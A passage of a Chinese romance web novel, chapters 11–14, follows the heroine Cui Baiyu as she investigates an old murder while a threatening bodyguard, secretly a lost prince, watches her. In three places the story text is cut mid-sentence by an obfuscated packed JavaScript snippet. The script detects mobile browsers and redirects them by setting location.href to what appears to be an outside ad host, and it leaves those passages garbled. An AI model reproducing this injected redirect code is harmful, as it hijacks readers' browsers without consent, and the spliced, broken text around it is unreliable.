赵呈揉了揉眉心,抬手往外轰人,“行了,快走吧,别在这儿碍孤的眼了。” 崔白玉点头应是,不料腿麻了半边,起身一个踉跄,险些栽到赵呈身上,好在及时扶住案几撑住了身子,“那民女的地图?” “孤明日就让人给你送过去,”赵呈将身上的披风扔给她,促狭笑起来,“你勾引孤的法子就不能再高明些?” 崔白玉满心欢喜地接过披风,忽略了后面那句,“谢太子殿下!” 说完,人就瘸着腿从马车上下来,迎面碰上了崔九。 小太监笑眯眯地搬回踏凳,马车扬长而去。 崔白玉感觉被浇了一盆冷水似的,一人在风中凌乱。 不知为何,她忽然有种私会情郎被抓包的感觉。 11. 误会 昨夜还说喜欢他,这才过了几个时辰就对其他男人投怀送抱? 崔九将这一切尽收眼底,目光一点点沉了下去,脸上看不出什么神情,但手臂上的青筋已经爆出来了。 果然是在骗他。 崔白玉遇上他心里总是怯上三分,不过这也是没办法的事,两人每次见面崔九都想动手杀她,能不害怕吗? 她狠狠地咬了口自己的舌尖,努力维持表面的客套,“崔公子,找我有事?” 崔九身材修长挺拔,一袭玄衣被风刮得猎猎作响,觉得自己有几分可笑,“崔公子?” 不知为何,崔白玉感觉到了扑面而来的窒息感,下意识抱紧了手里的披风,“崔......九?” 崔九收回视线,遮住了满眼的狠戾,没再说什么。 连自己名字和身份都不知道,他又在计较什么?如若她真是齐太后的人,下次直接杀死就好了。 “我能问你一件.......没事了。”崔白玉蓦然想起昨晚的经历,担心重蹈覆辙就再没继续问下去。 她想了想,抱着披风放轻脚步从崔九身边绕过去。 地图的事情已经解决了,她决定试着调查一下黄观之的案子,看看能不能改变原著的支线剧情。 一个本该名垂千古的人物,不该被世人遗忘唾弃,更何况,她作为看过原著的人掌握此案最关键的线索。 崔九看她一瘸一拐的背影,眼神莫辨,沉声道:“不要和他走得太近。” 崔白玉回头看他,手指轻轻攥了一攥,半天才找回自己的声音:“太子殿下?” 他居然主动开口,那她是不是可以顺便解释一下方才的情况? 天色已经擦黑,长廊挂上几盏朦朦的灯笼。 崔九没有回应,站在烛光的暗影里,让人看不清脸。 对方总是散发着一种危险的气息,崔白玉都快习惯了,她抱着衣服往回走了一小步,“方才回来的时候下雨了,太子殿下只是顺路送我回来。” 为何要解释?这种事跟他一点关系都没有,崔九看了她一眼,目光倏地一凝,发现她右眼角有一颗朱砂泪痣。 此时,他说不上心里是什么想法,只是感到强烈的不适,还移不开眼。 “我忘记叮嘱下人做晚饭了,”崔白玉停顿了片刻,“朱雀街新开张一家饭馆,双人有折扣,我们可以一起去。” 崔九漠然道:“不必。” 本来也对他不怎么抱希望,拒绝是意料之中的事,崔白玉凝了凝呼吸,惋惜道:“我本来是有事想问你,如果不方便就算了。” 她又累又饿,转身往前走,嘴唇阖动了一下,不小心把心里想的话嘀咕出来,“一个人晚上出去会不会不安全……” 话落,肚子很应景的叫了几声。 崔九眼中情绪复杂,在廊下站了一会儿,大步走过去,拿走了她怀里的披风,径直去往春华堂。 崔白玉反应了一下,才明白崔九这是答应了,她快走几步跟了上去,贴心地问道:“你有什么忌口吗?” 崔九没有回答。 过了一会儿,崔白玉换上一袭月下白绣浮云罗裙,带着崔九一同走去饭馆。 一路上,也不知道是不是错觉,她总感觉有人在背后跟踪,可回头察看并未发现异常,崔九也一如往常。 之后,好不容易到了饭馆,人群越来越多。 崔白玉擦了一把额上的冷汗,终是忍不住问道:“崔九,你有没有感觉有人在跟踪我们?” 崔九垂眸看她,微微点了一下头。 崔白玉:“……” 就不能吱个声?她还以为自己疑神疑鬼疯了! 饭馆来了不少人,崔白玉付给店家银子,去往楼上雅间。 店小二在拐角处引着他们往房间走,安置好人后,将一盆精致的茶点端上了桌,笑嘻嘻地说道:“姑娘,这是我这儿的菜谱,您看看。” 崔白玉想着一会儿有三个人,所以多点了几份菜。 店小二走后,崔九走到窗前留意了一下外面的情况。 崔白玉问道:“是府里的丫鬟吗?” 崔九关上窗户,坐回位子,“知道?” 崔白玉点了点头,见他直勾勾的盯着自己,解释道:“我绕在窗户上的发丝断了,这几日一直有人偷偷进我的房间。” 崔九微眯了一下眼睛,意外发现这人也不是一无是处。 崔白玉细致地奉上一杯热茶,双手递过去,表情比见祖宗还要虔诚,“你这么厉害,想必知道很多事,我能跟你打听一件事吗?” “何事?”崔九认真看着她的眼睛,心头像是被猫爪子轻轻挠了一下。 他没有接过,崔白玉就将茶杯放在了他手边,真诚发问:“黄观之是怎么死的?” 崔九皱眉看了她一眼,“问这个做什么?” “这么多年过去了,黄老先生死的不明不白,我想……查查看?”崔白玉说到最后有些不自信。 毕竟这个案子能不能查清,她心里也没底。 不过,一些破碎的线索在脑海中串连起来,已经有了确定的目标和方向。 崔九面若寒霜,压下来的嗓音低冷而寡淡,“这不是你能插手的事。” 听他这么说,崔白玉之前就怀疑他有另外一个身份,此时已然毋庸置疑了,“我那日在现场……看到了一个人。” 崔九眼中掠过一缕阴霾,道:“如果你是为了太子,那就不要查这件事。” 崔白玉心下戚戚然,坦言道:“我想帮方小侯爷。” 一个赵呈不够,还惦记着方叙言?崔九有时候真想剖开对方的皮肉一窥究竟。 这么快移情别恋不说,居然还想着脚踩两条船。 他胸膛起伏明显了些,声音也跟着冷下来,“你和他很熟?” 崔白玉道:“见过几面。” 崔九摩挲着手里的茶杯,一言不发地看着她。 崔白玉感觉到有一丝危险的气息,为自己辩白:“你不能总把我往坏处想啊,虽说是有点讽刺,但我还是有良心的,如果这个案子因为我藏匿线索而不能洗清冤屈,我会愧疚一辈子,如果是你,你肯定也会这么做。” 崔九哂笑一声,“你以为自己很了解我?” “我觉得你是个好……”崔白玉不小心咬到了舌尖,“是个好不错的人。” 崔九眸色晦暗幽深,整个人宛若地狱索命的恶鬼,“你想错了。” 他从来都不是什么好人,更遑论给一个毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142958|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不相干的人翻案,崔白玉的长相温和乖顺,人畜无害,但浑身都是猫腻,这只会让他萌生更浓郁的恶意。 他轻描淡写道:“他被人割下头颅。” 崔白玉深吸一口气,下意识抬手摸了摸后颈,偷偷瞥了他一眼,脸上露出迷茫之色。 崔九道:“你不是想查吗?如何?” 崔白玉听出了警告的意味,一阵无言。 她觉得崔九根本和深情男配不沾边,疯批反派倒是适合他。 可原著里,崔九确实对苏有枝付出很多,那无法宣之于口的爱意,更是让无数读者为他落泪。 这明明就是个忠犬人设,但她为什么觉得崔九是个杀人如麻的疯子? 难道他也是假的? 崔白玉端起茶杯,轻轻地啜了一口,平复心情,“听说黄大人死在一间女子的房间,你知道那位女子的姓名吗?” 崔九道:“孟云姿。” 崔白玉默默记下,心中的异样又重了几分,“那她现在在何处?” 崔九道:“教坊司。” 崔白玉略一沉吟,无奈叹了口气,“杀人手段如此残忍,很有可能是仇家买凶杀人,方小侯爷应该是想揪出那个幕后之人。” 崔九听到那个名字冷哼一声。 崔白玉以为他在嘲讽自己的智商,不由得反问一句,“你有眉目?” 崔九撩起眼皮,“就如你所说,杀他的人不重要,重要的是他的幕后之人,可这个幕后之人,方叙言整整查了五年都毫无线索,你可知这背后的原因?” 崔白玉头一次听他说这么多话,微微睁大眼睛。 崔九对她失了耐心,起身离开雅间,和走来的方叙言擦肩而过。 房间一片寂静,崔白玉一个人坐在椅子上发愣,就在这时,迎上了一道目光。 方叙言风尘仆仆赶来,“抱歉,临时遇到点事,来晚了。” 崔白玉站起身,笑了一下,“不妨事,小侯爷日理万机,我还以为你今天抽不出时间呢。” 这么快又变了一个称呼,方叙言倒有些不适应了。 崔白玉和他四目相对,抿了抿唇,待他坐下,小声问道:“小侯爷是不是在查五年前的珊瑚珠一案?” “你知道?”方叙言微微皱眉,语气一抹不易察觉的狐疑。 “我那日在现场……”书中有描写这一段,崔白玉不着痕迹地挪开了视线,“只是中途离开了。” 只要是和珊瑚珠自杀案有关的文书,方叙言一字不差全都看过,他从未在文书中看到崔白玉的名字。 很快,他眼里的温和消失殆尽,取而代之的是猜疑和严肃,“离开多久?” “一个时辰。”崔白玉手指蜷缩两下,“我本来是去那里找兄长的,但中途被一个刀疤脸撞倒,然后就被人发现轰出去了。” 方叙言沉声道:“刀疤脸?” 崔白玉点头,“对,他长得很瘦,个子不算太高,跟我一起混进的画舫。” 黄观之的尸体被发现后锦衣卫就迅速赶到现场,当时画舫所有人员都登记在册,里面并没有脸上带刀疤的。 方叙言追问道:“可还有其他印象?” 崔白玉摇了摇头,“小侯爷,我只记得这些。” 12. 危机 晚间,猫头鹰发出一阵阵枭啼。 方叙言公务繁忙中途就走了人,连茶水都没喝。 崔九也没回来,崔白玉看着眼前一桌子饭菜,觉得扔了可惜,索性将没动过筷子的菜带了回去。 天色已经很晚了,周围黑漆漆的,一阵冷风吹过,巷子里还传来哗哗的响声,恐怖如斯。 崔白玉一个人战战兢兢地走在青石板路上,嘴里念念有词,走路都不敢有声响,感觉一声狗叫能让她瞬间灵魂脱壳。 这般,她不禁让想起苏有枝一个人赶夜路,遇到的三人修罗场。 崔九作为侍卫一直暗中守护,担心受怕的丈夫也从家中出来寻找,意外偶遇出来喝酒的太子也成了护花使者。 三个男人齐聚一堂,为了她说话夹枪带棒,争风吃醋,跟她现在的处境截然相反。 看来有人陪着走夜路应该是只有女主才有的特权。 崔白玉叹了口气,在心里默默为自己祈福。 不知走了多久,她看到了崔府的大门,心跳加速,提着裙子飞快地冲了进去,直奔春华堂。 太可怕了。 丫鬟纷纷给她让路,脸上露出一种混杂着厌恶和嫉妒的表情,心道:这二姑娘怎么跟见了鬼似的横冲直撞,一点大家闺秀的样子都没有。 崔白玉气喘吁吁地跑进屋子,直接瘫在了地板上,结果没等她起喘匀,忽然听到了小白的惨叫。 “小白!”她一骨碌爬起来,看了一下周围,并没有找到她那个相依为命的小可怜,直到惨叫声再次传来,崔白玉绕过屏风,看见小白的爪子夹在窗户缝里,整只猫悬在半空中。 绕在门栓上的发丝已经断开了。 崔白玉将小白轻轻抱起来,推开窗户,检查发现猫腿被夹断了。 小白蜷缩在她怀里痛苦的呻吟。 崔白玉学过一些急救知识,上药之后,找来两块薄木片固定好它腿上伤,将它安置在床上,回过头来检查房间。 梳妆台和书架都被人翻过,但贵重的珠宝首饰也都在,没有丢失东西。 崔白玉蹲下身,撬开书桌底下的暗格,松了口气。 这是昨晚她为了藏钱剜出来的,里面的东西没有被人动过。 过了一会儿,她看着床榻上的小白想了许久,还是咽不下这口气。 这些人就是看她无依无靠,手无缚鸡之力,才会一而再再而三变本加厉的欺负她。 她不能再这么被动了。 翌日清晨。 崔白玉喂了小白一些羊奶,坐在铜镜前揉红了眼睛,觉得差不多了,将小白放进篮子,准备去找方叙言哭惨。 崔府上下有二十几个丫鬟和家仆,她一个人是查不过来的,而且那个人目的不纯还会武功。 她只能借别人的手。 金香跟着几个丫鬟在院里拔草,看见她从院里走出来眼眶通红,暗骂了一声矫情。 要不是那只死猫碍手碍脚,她没准就能找到有用的情报了。 崔白玉暗中留意了一下她的眼神,拎着篮子往外走,然而不等她收回视线,在转角处迎面撞上了一堵墙。 好像不是墙…… 崔白玉一手拎着篮子,一手捂着鼻尖,往后退了几步,神情怔愣的看着他。 这下真的把眼泪疼出来了。 崔九低头看着她,目光直探到她眼眸深处。 崔白玉眨了眨眼睛,泪水盈满了整个眼眶,想到他或许也可以利用一下,但这念头一闪而过。 崔九怎么可能会把她当回事呢? 方叙言再不济也会看崔琅华的面子帮她一回。 绕过崔九的时候,崔白玉不忘献回殷勤,“我让厨房给你准备了早饭,你自己去吃吧。” 崔九一把攥住了她的手腕,“发生了何事?” 崔白玉吸了吸鼻子,“小白受伤了,我带它去看郎中。” 崔九呼吸蓦然一沉,显然问得不是这个,“哭什么?” 至少不能说是撞疼了,崔白玉闭了闭言,再睁开眼,脸上的神情愈发委屈,“他们都欺负我......” 说着,篮子里的小白也喵喵叫了起来。 猫和人都委屈极了。 崔九一顿,毫不怜惜地伸出罪恶之手,捏住小白的后颈将它从篮子拎出来,检查骨头复位情况,“一个月就能养好。” 小白夹着尾巴,忽然变得很乖巧。 崔白玉轻轻抽咽起来,看上去颇有几分可怜,像受惊的小动物。 崔九道:“还想做什么?” 崔白玉的心脏漏跳了一拍,低下头,一声不吭。 崔九神色有几分复杂,将小白放回篮子,沉声道:“回去。” 崔白玉微微蹙眉,心里问候了一下他的祖宗,抱着篮子离开。 就这臭脾气,活该女主没看上他。 崔九似乎察觉到她的心情,有些不屑地冷笑一声,莫名让人不寒而栗。 昨天看见二人出去幽会,金香就更加确定崔白玉和崔九两人有私情。 她觉得崔白玉一定有能确定崔九身份的东西,所以多次潜入崔白玉的屋中,可惜,几次行动都毫无收获,身份也要暴露了。 好在,功夫不负有心人,这次金香看见了,崔白玉蹲在书桌下翘动一块木板。 她想要的东西应该就在那! 金香手指绞握在一处,心头一片冰冷杀机,倘若崔白玉再次坏事,那就只能解决了她。 正想着,忽然长廊下挂着的风铃叮当作响。 电光石火间,一把锋利的匕首在眼前闪过,锋芒慑人,金香反应很快,迅速后退一步躲开攻击。 “——谁?” 下一刻,不等她看清眼前人,脖颈就被人死死攥住,力道极大,几乎让她瞬间失声。 崔九冰冷的表情布满杀意,仿佛是灵魂里藏匿的恶鬼显了形。 他捏着金香的脖颈往上提。 金香毫无还手之力,脚尖离开地面,呼吸不畅,面色渐渐难看,断断续续地说:“你是,你是赵......” 难怪齐太后这般提防他! 崔九眉眼之间压抑着阴霾,手上骤然加重了力道,紧接着,只听一声咔嚓脆响。 金香双手垂下,整个人砰然倒地。 走廊不知何时出现一人躬身行礼:“主子。” 崔九面色云淡风轻,不紧不慢地取回墙壁上的匕首,冷声道:“处理了。” “是。”侍卫行动迅速,拽起地上的尸体,几乎瞬间消失了踪迹。 行云流水,毫无迟滞。 此时,崔白玉回到房间,抱着小白又将崔九的祖宗八代都问候了一遍。 两人现在就是冤家路窄,崔九王八吃秤砣,铁了心和她过不去,可偏偏这人在武力和智力处于绝对的碾压,她根本无力反抗。 崔白玉撸了撸猫头,深知打不过就加入的道理,毕竟保命才是最重要的,可问题的关键是讨好他该从哪方面下手? 他需要什么? 金钱,她没有。 权力,她没有。 美人,她也没有...... 崔白玉愈发对自己恨铁不成钢,一筹莫展之际,她蓦然间想起自己曾对他深情告白,“......崔九缺爱么?” “......” 小白喵了一声,好似在肯定她的话。 站在门外的崔九停下手中的动作,有一瞬间都觉得自己幻听了。 崔白玉默默点了一个头,脑子已经想出一个如何关爱的崔九的缜密计划。 崔九推门进屋,看见她坐在地上抱着篮子,心情莫名有些烦躁。 尤其看到这双眼睛,就想起方才可怜兮兮的场景。 这下连门都不敲了,是不装了吗?崔白玉全身的皮都紧了,不由瞪大了眼睛,浮现茫然神色。 崔九抬脚走到她的面前,目光停在她脸上,声音依旧压得很低,“起来。” 眼前笼罩下来一片黑影,崔白玉感觉寒气丝丝缕缕钻入了身体,慢吞吞地站起身,抬起眼睛看着他,“你要吃早饭吗?” 崔九蓦然抬起手,指尖触摸着脸颊上的红痕,神色莫辨,“又没有上药。” 前几日马车遇刺受伤到现在都没好,可见他给的那瓶药根本没有用过。 崔白玉眼睫轻颤,心脏剧烈跳动,感觉有一条毒蛇缠绕在脖颈随时取她狗命。 崔九撩开袖子又看一下她的手腕。 心想上一个不听话的已经喂他的狼了。 他道:“你觉得方叙言会帮你?” 崔白玉不知道他是怎么看穿自己计划,心下一凛,稍微点了一下头。 崔九道:“你信他?” 信任是一切感情的基础,崔白玉闭了闭眼,轻声开口:“我也相信你,但你太忙了,总是寻不到踪迹,所以我只好麻烦一下他。” 崔九冷然一笑,显然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142959|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不信她的鬼话。 过了半晌,崔白玉明白后顿时一脸窘相,问道:“你帮我抓到她了?” 崔九没说话,弯腰凑近她。 “那她怎么说?”崔白玉下意识地往后退了一步,“她为什么要翻我的房间?” 装傻?崔九目光在崔白玉面容上来回逡巡,道:“帮你是有条件的。” “什么条件?”一种不祥的预感攀上心头,崔白玉后退时不小心碰到了篮子,听到小白叫了一声,停下脚步。 崔九抬手握住她的脖颈,手上传来柔软的触感,轻轻摩挲了一下。 崔白玉在他眼里如同一个死物。 直到感觉对方在发抖,崔九的表情渐渐变得愉悦起来,“想活命,掩护好我的身份。” 崔白玉已然生出一身冷汗,只觉得胃里的酸水都在翻滚,难受得想吐。 她话都说不出来,只能点了一下头。 就这狗东西关爱个屁! 这么多天过去,崔白玉的身份依旧被动。 但她一次次的告诫自己这不是她的问题。 是敌人太奸诈,太狠戾,太凉薄,太残暴…… 崔九看着她的表情微微挑眉,紧接着,不知从何处拿来一张地图,扔到地上。 崔白玉微微偏了一下头,等她看清什么东西,心口一痛,差点没晕过去。 崔九捏住她的下巴,迫她抬起头,“既然费尽心机和赵呈攀上关系,为何还要逃跑?” 语调寒飕飕的,崔白玉不敢反抗,只能忍受着他端详一件私有物的眼神打量自己,磕磕绊绊地说:“我说我快要死了……你信吗?” 崔九不以为意,笑道:“你现在就可以死在我手上。” 造孽! 崔白玉泪洒心跳,完全不想说话。 她落到这种境地,那简直是比窦娥还冤。 崔九挑起眉毛,缓缓松开手,“真正的崔白玉在何处?” 崔白玉闻言鼻尖发酸,双腿发软,直接瘫在床榻上,把脸埋进被褥,闷声道:“如果不出意外的话,半年后她就能回来。” 崔九的眸子带着风雨欲来的晦暗,道:“出意外呢?” 崔白玉心力交瘁,不想跟他讨论这个问题,有点不耐烦道:“我可以帮你追回苏有枝,精诚所至金石为开,天下有情人终成眷属,只要你……我不知道。” 话未说完,颈侧感受到一股凉意,是抵上了一把匕首。 崔九早就怀疑她的身份,但这个身体确实是崔白玉的,只是发生在她身上的事,无论如何都解释不了。 崔白玉颤颤巍巍地坐起身,惊得一声冷汗。 崔九毫无波澜的语气里有种泯灭人性的残忍,“齐皇后的人?” 果然,还是更喜欢她这个表情,面色惨白,好似玉瓷器一样脆弱易碎。 “我不是……”崔白玉嘴唇动了动,“我只是想跟你在一起……” “跟我?”崔九面上没显露什么情绪,语气却骤然冷了几分,“跟我?为何三番五次去勾引其他男人?” 崔白玉不自觉地深吸一口气,“为了帮你打探消息。” 崔九道:“打探到了什么?” 崔白玉道:“太子想拉拢曹家……” 崔九蹙眉盯了半响,俨然是气笑了,“你觉得我是傻子吗?” 曹兵出身贫寒,家中唯有一女,既不是书香世家,也不是高门大户,赵呈定然是看不上的,但这些年曹兵屡破奇案,在民间的威望不容小觑。 赵呈的心思无非是看上了他身后的寒门学士。 崔白玉第一次看见他笑,虽然是一种瘆人的笑,但还是让人移不开眼。 不得不承认,崔九的眉眼很具有攻击性,这张脸能吸引她。 崔九注意到她在恍神,慢条斯理地收回匕首,目光落在那块地图上,“看来赵呈对你确实很特别,你们做了交易?” 崔白玉道:“没有。” 赵呈这个人向来无利不起早,绵里藏针,崔九转头冷冷地看着,“那他为什么帮你?” 崔白玉道:“他让我去找曹姑娘……” 崔九寒声道:“你方才不是这么说的。” 崔白玉挪了挪脚,尴尬地说道:“他知道我在骗他。” 崔九目不转睛地盯着她,“既然如此,把你送入东宫,打探消息岂不是更方便?” “这……”崔白玉呆呆地看着地面,沉默了一会儿,“也行。” 13. 筹谋 崔九走路没声,崔白玉侧耳听着门外的动静,过了好久才敢从床上爬起来捡回地图。 她仔细记下每个州县地位置,开始考虑接下来的事。 崔九料定她逃离不了京城,所以根本没把她放在眼里,不过这样也好,他越是不防备,离开这就越容易,眼下她只需要一个时机而已。 崔白玉计划好之后,打起十二分的精神,安置好小白,整理了一下衣服起身往外走。 崔九这个恶人,她是一点都不喜欢。 哪怕他是苦情男配,爱而不得,吃尽爱情的苦,崔白玉都觉得他活该。 人都是复杂多面的,崔九面对的人一旦不是苏有枝,他展现出来的也就不再是那副面孔。 自卑敏感而不擅言语,只是因为站在他面前的是苏有枝,在暗无天日的深渊里的窥见一抹光亮,苏有枝会是他一辈子都忘不了的人,只有她才是例外。 崔白玉倒八辈子血霉要面对的是崔九的阴暗面,别提心里有多委屈。 不过,她很快就不用面对了! 崔九立在茶楼的窗口,望着崔白玉的背影,捻了捻手指,转头看向身后之人。 “殿下这些年.......”祁晏临眼眶发红,下意识跪了下来行礼,却被旁边的侍卫扶住。 “大将军莫要折煞在下了,。”崔九一双幽深的眼睛静静看着他,脸上没什么情绪。 “殿下,您是臣看着长大的,臣不可能认错啊,”祁晏临胸膛起伏,一时间震惊悲痛心疼惶恐心里头什么滋味都有,久久不能平复,“这些年,臣一直派人暗中寻找,可派出去的人都找不到殿下一点消息......” 崔九一瞬不瞬地望着他,淡然道:“已经是死人了,能有什么消息?” 祁晏临眼底闪着泪花,挣开侍卫的手,还是跪了下来,“殿下,都是臣的错,是臣没有保护好殿下!” 房间一片寂静,仿佛一切都静止下来。 崔九道:“大将军,此事已经过去这么多年,该放下的就放下,而且我早就不是太子了,受不起您的大礼。” 祁晏临顿时有些无措,不敢看他的眼睛,两只手死死攥成拳,“臣只是想弥补当年的过错,希望殿下能给臣一个机会。” “机会?大将军今日的行为不管不顾,才是想害死我,”崔九神色漫不经心,缓步走到祁晏临身前,俯下身看他,“大将军从未错过,所以并不欠我什么,以后不要再来找我了。” 祁晏临蓦地抬起头,一脸震惊,掩在袖中的手却微微地颤动,激动道:“殿下!” “赵丞已经死在了那场天火里,”崔九停顿了一下,“现在,我只是想做个贴心的侍卫,将以往的事都放下,做个普通人就好。” “殿下,那不是天火!”祁晏临怔怔看着他,泪光蔼蔼,“可陛下一直都惦记着殿下,还有您的母妃......” 他们都在等你回来。 崔九脸上露出微微的怒意,平静无波的面具上出现了一条裂痕,语气变得格外平和轻缓,“在他们眼里我就是个死人,大将军今日来找我怕不是想求些别的?” “殿下,臣只是想赎罪,不敢奢望别的,这些年,臣一直追悔莫及,若当时臣没有上当受骗留在那里,殿下也许就不会出事,臣一直在追查相国寺放火的人,臣不甘心,臣不甘心就让殿下蒙受冤屈!”祁晏临的语气激昂起来,“殿下,那场大火分明是有人故意——” 可真是言辞凿凿,崔九冷然一下,打断了他的话,“天神泄愤,天神降罪。” 总之,他的死就是天谴。 他就是天煞孤星的命。 祁晏临低着头惭愧,过了半晌,颤声道:“太……殿下没想过恢复身份?” 崔九面容恢复一片平静,目光又变冷静凉薄,“恢复身份只有死路一条,今下我只想做个侍卫,保护好崔姑娘。” 祁晏临瞳孔轻颤,心里波涛万顷,一时间也不知该说什么,“殿下喜欢崔姑娘?” “喜欢,”崔九唇角微不可闻地扬起了个弧度,“以后不要再派人打扰她了,谁都不可以。” 祁晏临倒抽了一口凉气,已陷入了沉思中。 江面吹来一阵凉风,崔白玉打了一个喷嚏,抬手拢了拢衣领。 在这等了一炷香的时间,想来是见不到曹怡了。 她正准备离开,忽然出现一个小丫鬟站在曹府门口招呼:“崔姑娘,让你久等了,快进来吧!” 崔白玉点了一下头,跟着她进了院子。 曹怡身材纤瘦,皮肤白皙,一身烟霞色软烟罗衣裙,自有一股轻灵之气。 她坐在凉亭整理文册,这些都是前一段日子征求各家姑娘是否愿意开设女子书院的意见薄,内容写得杂乱无章,难以整理,耽误了一上午。 思及此,曹怡不由得抬手揉了下眉心,疲倦地闭上眼睛。 其实,写的不用心是一回事,她最心烦的是姑娘们大多都不同意开设女子书院。 既然男子可以读书入仕,女子为何困于闺阁? 正想着,她又从头到尾细细读了一遍,直到听见脚步声靠近,曹怡坐直了身子,抬头望过去。 崔白玉缓步上前,闻到了一股淡淡的檀香,笑了一下,“曹姑娘。” 曹怡看到她心中有些困惑,毕竟她们二人之间并无往来,“崔姑娘找我有事?” 崔白玉注意到她额间的伤口,眸子微微闪烁了一瞬,心中不由得感慨,果然美人脸上有疤也难以让人移开视线。 不过这些都不重要,她侧目向身旁的两个丫鬟,“曹姑娘,我想单独和你聊聊。” 两个丫鬟都深知崔白玉恶毒的名声,闻言跟着心下一紧,警惕道:“姑娘,不可!” 曹怡抿了抿唇角,看到崔白玉无辜耸了耸肩,抬起手示意她们下去。 崔白玉笑了笑,视线跟随两个丫鬟,直到她们走过月洞门,也没开口说话。 曹怡仔仔细细打量了崔白玉半晌,“崔姑娘,这里没人了,你说吧。” 崔白玉收回视线,不紧不慢地道:“曹姑娘我们做个交易如何?” “交易?”曹怡眼睫轻颤,紧紧攥住帕子,“什么交易?” 崔白玉温声道:“坠马风险很大,运气差了,命也就没了,曹姑娘让王玥给马下蒙汗药,以此降低坠马的风险,这确实是个不错想法。” 话音未落,曹怡冰寒的冷意一寸寸爬上脊椎,冷下面容,涂上丹蔻的指甲也掐入了手背。 崔白玉走到书桌前,低头注意到文册的内容,指尖一下一下轻点桌沿,“我知道曹姑娘不想嫁给太子,为此不惜划伤自己的脸,但你的计划经不起锦衣卫的查验,即使你的父亲为你隐瞒......” 此时还只算一场意外,然而一旦有人举报,事关太子,皇帝必然会派锦衣卫查探,她还做不到完美隐藏作案手法,例如马背上的细小的红点,是银针扎进去的痕迹。 曹怡脸色青白,立即出言打断她,“你想做什么?” “只是做一个交易,曹姑娘答应了,我便不会将此事告知太子。”崔白玉小心翼翼地观察着曹怡的神色,见她没有松动的意思,又下了一剂猛药,“实不相瞒,我今日来此,就是替太子走一遭,只是东宫是女子身不由己、卑躬屈膝的囚笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“.......”崔白玉抽了抽嘴角,“扔了怪可惜的。” 崔九收回手,起身走到她面前,抓住她的手腕,“方才去哪了?” 崔白玉心脏骤然停跳了一拍,喉头微微紧了紧,“交朋友,曹姑娘过两日约我去踏青,你要一起去吗?” 崔九心下狐疑,但也没说什么,“坐下。” 崔白玉按照他说的做,但也试着挣脱了一下,奈何被攥得更紧就放弃了。 崔九拿来药膏,在手腕的淤青出涂上药。 也不知道是不是故意,他的力道不轻,崔白玉疼得很,想着分散一些注意力,“崔公子,我该怎么进入东宫打探消息?” 崔九不动声色道:“以你的身份自然是当个侧妃。” 崔白玉虽然不太了解古代,但这几日翻阅书籍也了解个大概,“那不就是妾室了?” 用满足那些人的生育需求和性需求的奴隶。 崔九语气带着几分讥诮,“怎么,你还想当太子妃?” 崔白玉心里暗自朝他翻了一个白眼,“我还是有自知之明的,当个妾也挺好的。” 崔九道:“你就这么迫不及待?” “哪有?我都听你的安排,你让我做什么就做什么。”崔白玉拨开食盒,从里面拿一块桂花糕咬了一口,好似不经意的说,“花朝节那日相国寺有灯会,你要跟我一起去吗?” 崔九沉默了一下,眼睫垂下,掩住眼底情绪,淡声道:“相国寺晚上闹鬼。” 话落,砰的一声,崔白玉从绣墩上栽下去,摔到桌子底下,发出一声惨叫。 崔九没拽她,只是不紧不慢地抬手扶住摇摇欲坠的药瓶,嫌弃道:“药白上了。” 14. 寻人 花朝节这日相国寺举行会庙会,京城百姓大多都会去花神庙供奉,等到了晚间还会有僧人提举花灯在花神庙附近巡游。 听起来应该会有不少人,她倒也不用害怕。 而且,崔白玉作为二十一世纪坚定的唯物主义者,自然不相信鬼神之说,她害怕的是背后装神弄鬼的人。 原著中,其中有一段情节就是发生在相国寺,苏有枝来这里为崔琅华求平安福,谁知返回途中遭遇暴雨道路损毁,苏有枝被迫留宿在寺庙,然后发生了一些列恐怖情节,比如空荡荡的院子发出婴儿的啼哭,白发老奶奶深夜敲门,观音像流血泪....... 她作为读者,看到这里时候都觉得头皮发麻。 可苏有枝经历了这些骇人的事情非但没有害怕,反而还出去一探究竟,成功解救一位意外受伤的女孩,将其带到屋中包扎伤口,紧接着,又亲自煮了一碗热面汤。 后来那位女孩就一直留在苏有枝身边,成为她身边最忠诚的侍卫,无论是谁伤害苏有枝,她都会毫不犹豫地出手,且从无败绩。 有这养一个武艺高强的人在身边保护,安全感简直拉满。 崔白玉休息两日,精气神已然恢复的差不多了,她仔细地检查了一下装备,和崔九打了声招呼,抱着小白上了曹府的马车。 崔九站在台阶处,眯起眼,脸上带了似笑非笑的表情,叫人望不出深浅了。 如若两位女子只是出门踏青游玩,他自然不会放在心上,可崔白玉一身小心思,虽说算不上聪明,但稍一疏忽就会让她钻了空子,自然不能放任着她胡来。 身旁的侍卫宋津看着崔九的脸色本能地嗅出了一丝不祥的味道,权衡了一阵,问道:“主子,咱们还用派人跟着她?” 崔九冷冷地睥睨着渐行渐远的马车,轻描淡写道:“好不容易到手的玩物,当然不能丢了。” 提到玩物,宋津忽然想到那个得罪他家主子而被活生生喂狼的蠢货,场面残忍血腥,令人作恶。 